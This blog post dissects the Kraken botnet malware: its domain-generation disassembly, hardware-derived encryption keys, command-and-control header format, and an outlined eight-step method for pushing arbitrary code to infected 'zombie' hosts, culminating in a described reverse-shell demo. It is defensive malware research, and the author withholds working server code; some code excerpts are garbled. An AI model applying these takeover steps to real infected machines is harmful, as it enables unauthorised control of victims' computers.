Owning Kraken Zombies, a Detailed Dissection

This blog contains the deep technical dive of a two-part blog series exploring the Kraken botnet. See "Kraken Botnet Infiltration" for more information regarding general statistics and observations of the botnet.

Disclaimer: I don't normally deal with malicious code analysis. My main focuses are on vulnerability discovery and general reversing so dedicating some time to analyzing Kraken was a new and interesting experience. There are many resources available on malware unpacking, PE import table reconstruction etc. so I'll skip right to the specifics of the sample. The offsets and analysis shown below are from sample 31b68fe29241d172675ca8c59b97d4f4 from Offensive Computing.

When Kraken first starts it enters an infinite loop trying to locate a master (command and control) server on UDP port 447 over a custom encrypted protocol. The contacted hostnames all reside with dynamic DNS providers with a randomly generated sub-domain. Here is a look at the function responsible for algorithmically generating the domains to connect to, keep a close eye on the second argument which is used as the seed in the generation process:

.text:001AE810 mov esi, [ebp+seed]

.text:001AE813 sar esi, 1

.text:001AE815 add esi, 0F424Fh

.text:001AE81B push edi

.text:001AE81C lea ecx, [ebp+var_10]

.text:001AE81F mov [ebp+seed], esi


.text:001AE83D lea ecx, [esi+7]

.text:001AE840 lea eax, [esi+0Ch]

.text:001AE843 imul eax, ecx

.text:001AE846 imul eax, esi

.text:001AE849 cdq

.text:001AE84A pop ecx

.text:001AE84B idiv ecx

.text:001AE84D lea ecx, [esi+1]

.text:001AE850 imul ecx, esi

.text:001AE853 lea ecx, [eax+ecx-0FCFBF88h]

.text:001AE85A jmp short loc_1AE87C


.text:001AE87C imul ecx, 41C64E6Dh

.text:001AE882 mov edi, 3093h

.text:001AE887 add ecx, edi

.text:001AE889 mov eax, ecx

.text:001AE88B imul ecx, 41C64E6Dh

.text:001AE891 add ecx, edi

.text:001AE893 ror eax, 8

.text:001AE896 mov edx, ecx

.text:001AE898 imul ecx, 41C64E6Dh

.text:001AE89E mov esi, 7FFFh

.text:001AE8A3 and eax, esi

.text:001AE8A5 ror edx, 8

.text:001AE8A8 and edx, esi

.text:001AE8AA imul eax, edx

.text:001AE8AD add ecx, edi

.text:001AE8AF mov ebx, ecx

.text:001AE8B1 ror ecx, 8

.text:001AE8B4 and ecx, esi

.text:001AE8B6 sub eax, ecx

.text:001AE8B8 push 6

.text:001AE8BA cdq

.text:001AE8BB pop ecx

.text:001AE8BC idiv ecx

.text:001AE8BE add edx, ecx


The seed is crucial to the position in the control server list and starts at 0 on reboot. At the end of this function we see an array of domain names being access that are appended to the generated name:

.text:001AE91D push dynamic_host_names[eax*4] ; lpString

.text:001AE924 lea ecx, [ebp+var_20]

.text:001AE927 call makeNewString

.text:001AE92C push eax

.text:001AE92D push [ebp+hostname]

.text:001AE930 lea eax, [ebp+var_18]

.text:001AE933 push eax

.text:001AE934 lea eax, [ebp+var_8]

.text:001AE937 push eax

.text:001AE938 lea ecx, [ebp+var_10]

.text:001AE93B call concatenateStrings

.data:001B5064 dynamic_host_names dd offset aDyndns_org

.data:001B5064 ; "dyndns.org"

.data:001B5068 dd offset aYi_org ; "yi.org"

.data:001B506C dd offset aDynserv_com ; "dynserv.com"

.data:001B5070 dd offset aMooo_com ; "mooo.com"

Each generated host is checked twice before moving on to the next one, here are the first 5 hosts that will attempt to be contacted:






For those who are interested, here is a list of the first 15,000 hosts. Note that as of the time of this research the first Kraken server that was up and responding was 15th down the list afmbtgyktty.yi.org on IP address Armed with this information we registered the first of the available hosts and immediately began getting requests from live Kraken infections in the wild. See "Kraken Botnet Infiltration" for more information regarding general statistics and observations of the botnet.

Knowing now that it is theoretically possible to overtake the Kraken network the next step is to examine the protocol. Looking through the binary there are several calls on the socket connection it makes over UDP port 447 to the control servers. All of these calls are preceded with a send to the control server with an encrypted header:

.text:001A83C5 call getEncryptionKeys

.text:001A83CA mov dword ptr [esp+80h+send_buffer], eax

.text:001A83CE lea eax, [esp+80h+send_buffer]

.text:001A83D2 mov [esp+80h+var_2C], edx

.text:001A83D6 mov [esp+80h+var_28], ebx

.text:001A83DA mov [esp+80h+var_24], 1

.text:001A83DF mov [esp+80h+var_23], bl

.text:001A83E3 mov [esp+80h+var_22], 137h

.text:001A83EA mov [esp+80h+var_20], ebx

.text:001A83EE mov [esp+80h+var_1C], ebx

.text:001A83F2 call encryptHeader


.text:001A8418 push 10h ; tolen

.text:001A841A lea eax, [esp+84h+to]

.text:001A841E push eax ; to

.text:001A841F push ebx ; flags

.text:001A8420 push 18h ; len

.text:001A8422 lea eax, [esp+90h+send_buffer]

.text:001A8426 push eax ; buf

.text:001A8427 push [esp+94h+s] ; s

.text:001A842B call ds:sendto

As we can see (note that all of the symbols were manually added through reverse engineering) we get some sort of encryption key, build the header, and encrypt the header before sending. Obviously we have to figure out the encryption so we can get a better look at the command and control protocol.

I have seen some mention and packet dumps of the header on various blogs. They often state the first 8 bytes of kraken traffic is static and there is a simple reason for this. Kraken, when communicating, prepends its encryption keys so the server can properly decrypt/encrypt traffic. We can see this in the getEncryptionKeys function. It is host specific and computes the 64 bit key from various aspects of the host hardware. Abbreviated pseudo code for the function is below.

mov ds:encryption_key_1, 0DCBA2C5Ah

mov ds:encryption_key_2, 50E41593h


while (*adapter_info != 0) {

for (i=0; i



adapter_info = *adapter_info


encryption_key_uno += cpuid(0x0).max_input_value

encryption_key_dos += cpuid(0x0).inel

encryption_key_uno ^= cpuid(0x1).version

encryption_key_dos ^= cpuid(0x1).features

encryption_key_uno ^= cpuid(0x3).hi_serial

encryption_key_dos ^= cpuid(0x3).low_serial

encryption_key_uno -= GetVolumeInformation(GetWindowsDirectoryA()).VolumeSerialNumber

As previously stated we can easily get the encryption keys from the packets sent to our tap resolved from the dyndns names we registered. This is a good starting point for writing our decryption/encryption routines. At this point we know the traffic is encrypted, we know a header is sent to the remote dyndns server, and we know that in order to see into this traffic on a large scale we must decrypt the traffic. The function for decrypting our header is shown here:

.text:001AE7E4 decryptHeader

.text:001AE7E4 push ecx

.text:001AE7E5 mov eax, [esi+packet_data.seed]

.text:001AE7E8 test eax, eax

.text:001AE7EA jz short loc_1AE802

.text:001AE7EC push 1 ; flag

.text:001AE7EE push eax ; seed

.text:001AE7EF push [esi+packet_data.key_2] ; key_2

.text:001AE7F2 lea eax, [esi+packet_data.command]

.text:001AE7F5 push [esi+packet_data.key_1] ; key_1

.text:001AE7F7 push 0Ch ; count

.text:001AE7F9 push eax ; offset

.text:001AE7FA call decryptPacket

.text:001AE7FF add esp, 18h


.text:001AE802 loc_1AE802:

.text:001AE802 and dword ptr [esi+8], 0

.text:001AE806 pop ecx

.text:001AE807 retn

.text:001AE807 decryptHeader endp

So we call another function that is used in various places in the binary called decryptPacket passing in various data to specify what we are decrypting. The decryptPacket is a larger function that is a pretty straight forward encryption routine. It does not appear, in my opinion, to be based off of any open encryption algorithm (I will skip the details of the encryption for brevity). After writing the decryption for the header we can see more of the protocol. The first packet being sent by this bot correlates to what we saw in the disassembly above.

ac 8d ee d7 94 49 09 3f 00 00 00 00 01 00 37 01 00

00 00 00 00 00 00 00

The protocol breaks down as follows.

struct KrakenHeader {

unsigned int key_1;

unsigned int key_2;

unsigned int seed;

unsigned short command;

unsigned short version;

umsigned int size;

unsigned int crc;

unsigned char payload[size];

} kraken_header;

So obviously we head off to see what the commands do. In the main command processing function we see a branch based off the command in our incoming packet.

.text:001AC170 mov eax, [esp+2C0h+command]

.text:001AC174 sub eax, 7

.text:001AC177 pop ecx

.text:001AC178 pop ecx

.text:001AC179 jz command7

.text:001AC17F dec eax

.text:001AC180 jz command8

.text:001AC186 sub eax, 10h

.text:001AC189 jz command18

.text:001AC18F xor esi, esi

.text:001AC191 cmp ds:dword_1B109C, ebx

.text:001AC197 mov [esp+2B8h+var_2A5], bl

.text:001AC19B jle short loc_1AC1D7


This is certainly not a complete list of the commands, but it leads us to an interesting function. If we follow command8 we notice a method for updating the bots code. The code takes in an XML-like list of modules, module names, ids, etc. and from there processes the items looking for any updates. Analyzing the code reveals that the following format must be utilized to reach the code we are after:



The reason for this is when the bot sees that a "core" module is being sent it will download said module, write it to disk, and execute it. In the code you can also determine that the values for version, moduleid, and crc are not really checked when a "core" module is being loaded (Aside from not being 0 in some cases).

At this point we realize (and confirm our assumption) that code can arbitrarily be downloaded and executed on the zombie host as long as we can receive its initial beacon. In order to demonstrate this I have removed the details but outlined the needed steps below.

  1. Receive initial packet from zombie (command 1)
  2. Send a response with the key xor'd by the server (command 2)
  3. Receive the zombies configuration information (command 3)
  4. Send a request to update our module (command 8)
  5. Send our module update xml to the zombie (command 0x14)
  6. Open a TCP connection on port 447 for the zombie to download the module
  7. Receive the connection from the zombie
  8. Send our encrypted payload to the zombie (command 0xa)

After the zombie has received the payload it decrypts it, and runs a CRC on the payload ensuring it matches what is in the header. This CRC is fairly simple and is below in Python.

for x in range(0x100):

eax = x

for x in range(8):

if (output.byte(eax) & 1) == 0:

eax >>= 1


eax >>= 1

eax ^= 0xedb88320


eax = ~flag

ecx = 0

for x in range(fsize):

esi = (0x00000000 | struct.unpack("

edx = eax

edx &= 0xff

edx ^= esi

eax = output.dword(eax) >> 8

eax ^= xor_array[edx]

crc = ~eax

return output.dword(crc)

If we pass the CRC check the payload gets written to a random name in c:windowssystem32 and executed. This can be seen in the binary below.

.text:001ADE8C call openWriteFile

.text:001ADE91 add esp, 0Ch

.text:001ADE94 push 0FFFFFFFFh ; dwMilliseconds

.text:001ADE96 push ebx ; char

.text:001ADE97 push [ebp+lpCommandLine] ; lpCommandLine

.text:001ADE9A call startNewProcess ; do our command

Where CommandLine is the path to our newly downloaded payload. As you can see it is certainly possible to upload new code to a bot as long as you can receive traffic from a zombie checking in. To demonstrate this I have created a video that puts all these steps into practice loading arbitrary code on a zombie host running in a VM.


The video first walks you through the code path which will be executed. The video shows two systems. The host system is responsible for emulating the Kraken server. The VMWare image is of a system infected with Kraken. In the end the video will demonstrate a custom Kraken server I have written and the Kraken zombie will eventually spawn a reverse connect back shell that I have uploaded to it via the emulated Kraken server. The shell demonstrates full control over the zombie system.

Note: The code used to accomplish the various tasks outlined in this blog are not being released for obvious reasons. If you are a security firm with legitimate reasons for further information and proof-of-concept code contact us.